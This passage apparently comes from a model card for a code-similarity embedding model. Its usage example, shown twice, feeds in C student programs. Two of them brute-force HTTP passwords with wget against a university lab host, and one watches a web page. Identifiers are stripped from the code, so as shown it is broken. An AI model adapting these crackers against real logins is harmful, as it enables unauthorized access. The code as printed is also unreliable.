2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\nint findPassword(char *pass)\n{\n\tchar var[50]="";\t\n\tchar [50]="";\n\tstrcpy(var,"wget --non-verbose --http-user= --http-passwd=");\t\t\n\tstrcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n\tstrcat(var,pass);\n\tstrcat(var,);\n\tif(system(var)==0)\n\t{\t\t\n\t\treturn 2;\n\t}\t\n\t\t\n\treturn SUCCESS;\n}\n\n\n\t \n',
'#include<stdio.h>\n#include<string.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<sys/time.h>\n\n()\n{\n\tint i,j,k,m,count=0,flage=0;\n\tFILE* log;\n\ttime_t ,finish;\n\tdouble ttime;\n\tchar s[30];\n\tchar arr[52]={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n\tchar add[100];\n\tstrcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/");\n\t=time(NULL);\t\n\tfor(i=0;i<52;i++)\t\n\t{\n\t\tfor(j=0;j<52;j++)\n\t\t{\n\t\t\tfor(k=0;k<52;k++)\n\t\t\t{\n\t\t\tprintf("%c %c %c\\n",arr[i],arr[j],arr[k]);\n\t\t\t\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tadd[42]=arr[k];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\t\t\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\tif(flage==0)\t\n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\tadd[40]=arr[i];\n\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t}\n\t}\n\tif(flage==0)\t \n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\t\tfor(j=0;j<52;j++)\n\t\t\t{\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\t\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9511, 0.9570],
# [0.9511, 1.0000, 0.9799],
# [0.9570, 0.9799, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-GraphCodeBERT-ST")
# Run inference
sentences = [
'#include<stdio.h>\n#include<stdlib.h>\n\nint ()\n{\n\nFILE *fin1;\nFILE *fin2;\nint flag=0;\n\n\nwhile(1)\n{\n \n system("wget -p http://www.cs.rmit.edu./students");\n\n system("cd www.cs.rmit.edu./");\n\n \n \n if(flag>0)\n {\n \n fin1=fopen("./watchtext/index.html","r");\n fin2=fopen("./watchtext/test2.txt","r");\n system("diff ./www.cs.rmit.edu./students/index.html ./watchtext/index.html | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html ");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./test2.txt");\n system("diff ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt");\n system("rm ./www.cs.rmit.edu./test2.txt");\n \n fclose(fin2);\n fclose(fin1); \n } \n \n if(flag==0)\n {\n system("mkdir watchtext"); \n if((fin1=fopen("./watchtext/index.html","r"))==NULL)\n {\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./watchtext/test2.txt");\n \n flag++;\n }\n \n } \n \n \n \n printf("Running every 24 hours"); \n sleep(86400); \n \n}\n system("rmdir ./watchtext"); \n} \n \n \n \n \n',
'#include<stdio.h>\n#include<stdlib.h>\n#include<string.h> \n#include <ctype.h>\n#include <sys/time.h>\n\n\n#define SUCCESS 0;\n#define FAILURE 1;\n#define SECONDS 1e9\n\nint findPassword(char *);\nint smallPass();\nint capsPass();\n\nint main()\n{\n\tint foundP;\t\n\tfoundP=smallPass();\n\tfoundP=capsPass();\n\tif(foundP == 2)\n\t{\t\t\n\t\treturn SUCCESS;\n\t}\n\tprintf("\\n PASSWORD NOT FOUND");\n\treturn SUCCESS;\n \n}\n\nint smallPass()\n{\n\tchar [26] ={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=0;j<3;j++)\n\t{\n\t\tincr=0;\t\t\n\t\tfor(i=0;i<=25;i++)\n\t\t{\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = [k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\t\t\n\t\t\t\tpass[j-2]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = [k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = [l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\t\t\t\t\t\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\n\nint capsPass()\n{\n\tchar caps[26] ={\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=2;j<3;j++)\n\t{\n\t\tincr=0;\n\t\tfor(i=0;i<=25;i++)\n\t\t{\n\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=caps[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = caps[k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-2]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = caps[k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = caps[l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\nint findPassword(char *pass)\n{\n\tchar var[50]="";\t\n\tchar [50]="";\n\tstrcpy(var,"wget --non-verbose --http-user= --http-passwd=");\t\t\n\tstrcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n\tstrcat(var,pass);\n\tstrcat(var,);\n\tif(system(var)==0)\n\t{\t\t\n\t\treturn 2;\n\t}\t\n\t\t\n\treturn SUCCESS;\n}\n\n\n\t \n',
'#include<stdio.h>\n#include<string.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<sys/time.h>\n\n()\n{\n\tint i,j,k,m,count=0,flage=0;\n\tFILE* log;\n\ttime_t ,finish;\n\tdouble ttime;\n\tchar s[30];\n\tchar arr[52]={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n\tchar add[100];\n\tstrcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/");\n\t=time(NULL);\t\n\tfor(i=0;i<52;i++)\t\n\t{\n\t\tfor(j=0;j<52;j++)\n\t\t{\n\t\t\tfor(k=0;k<52;k++)\n\t\t\t{\n\t\t\tprintf("%c %c %c\\n",arr[i],arr[j],arr[k]);\n\t\t\t\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tadd[42]=arr[k];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\t\t\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\tif(flage==0)\t\n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\tadd[40]=arr[i];\n\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t}\n\t}\n\tif(flage==0)\t \n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\t\tfor(j=0;j<52;j++)\n\t\t\t{\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\t\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9511, 0.9570],
# [0.9511, 1.0000, 0.9799],
# [0.9570, 0.9799, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-GraphCodeBERT-ST")
# Run inference
sentences = [
'#include<stdio.h>\n#include<stdlib.h>\n\nint ()\n{\n\nFILE *fin1;\nFILE *fin2;\nint flag=0;\n\n\nwhile(1)\n{\n \n system("wget -p http://www.cs.rmit.edu./students");\n\n system("cd www.cs.rmit.edu./");\n\n \n \n if(flag>0)\n {\n \n fin1=fopen("./watchtext/index.html","r");\n fin2=fopen("./watchtext/test2.txt","r");\n system("diff ./www.cs.rmit.edu./students/index.html ./watchtext/index.html | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html ");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./test2.txt");\n system("diff ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt");\n system("rm ./www.cs.rmit.edu./test2.txt");\n \n fclose(fin2);\n fclose(fin1); \n } \n \n if(flag==0)\n {\n system("mkdir watchtext"); \n if((fin1=fopen("./watchtext/index.html","r"))==NULL)\n {\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./watchtext/test2.txt");\n \n flag++;\n }\n \n } \n \n \n \n printf("Running every 24 hours"); \n sleep(86400); \n \n}\n system("rmdir ./watchtext"); \n} \n \n \n \n \n',
'#include<stdio.h>\n#include<stdlib.h>\n#include<string.h> \n#include <ctype.h>\n#include <sys/time.h>\n\n\n#define SUCCESS 0;\n#define FAILURE 1;\n#define SECONDS 1e9\n\nint findPassword(char *);\nint smallPass();\nint capsPass();\n\nint main()\n{\n\tint foundP;\t\n\tfoundP=smallPass();\n\tfoundP=capsPass();\n\tif(foundP == 2)\n\t{\t\t\n\t\treturn SUCCESS;\n\t}\n\tprintf("\\n PASSWORD NOT FOUND");\n\treturn SUCCESS;\n \n}\n\nint smallPass()\n{\n\tchar [26] ={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=0;j<3;j++)\n\t{\n\t\tincr=0;\t\t\n\t\tfor(i=0;i<=25;i++)\n\t\t{\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = [k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\t\t\n\t\t\t\tpass[j-2]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = [k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = [l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\t\t\t\t\t\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\n\nint capsPass()\n{\n\tchar caps[26] ={\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=2;j<3;j++)\n\t{\n\t\tincr=0;\n\t\tfor(i=0;i<=25;i++)\n\t\t{\n\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=caps[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = caps[k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-2]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = caps[k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = caps[l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\nint findPassword(char *pass)\n{\n\tchar var[50]="";\t\n\tchar [50]="";\n\tstrcpy(var,"wget --non-verbose --http-user= --http-passwd=");\t\t\n\tstrcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n\tstrcat(var,pass);\n\tstrcat(var,);\n\tif(system(var)==0)\n\t{\t\t\n\t\treturn 2;\n\t}\t\n\t\t\n\treturn SUCCESS;\n}\n\n\n\t \n',
'#include<stdio.h>\n#include<string.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<sys/time.h>\n\n()\n{\n\tint i,j,k,m,count=0,flage=0;\n\tFILE* log;\n\ttime_t ,finish;\n\tdouble ttime;\n\tchar s[30];\n\tchar arr[52]={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n\tchar add[100];\n\tstrcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/");\n\t=time(NULL);\t\n\tfor(i=0;i<52;i++)\t\n\t{\n\t\tfor(j=0;j<52;j++)\n\t\t{\n\t\t\tfor(k=0;k<52;k++)\n\t\t\t{\n\t\t\tprintf("%c %c %c\\n",arr[i],arr[j],arr[k]);\n\t\t\t\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tadd[42]=arr[k];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\t\t\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\tif(flage==0)\t\n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\tadd[40]=arr[i];\n\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t}\n\t}\n\tif(flage==0)\t 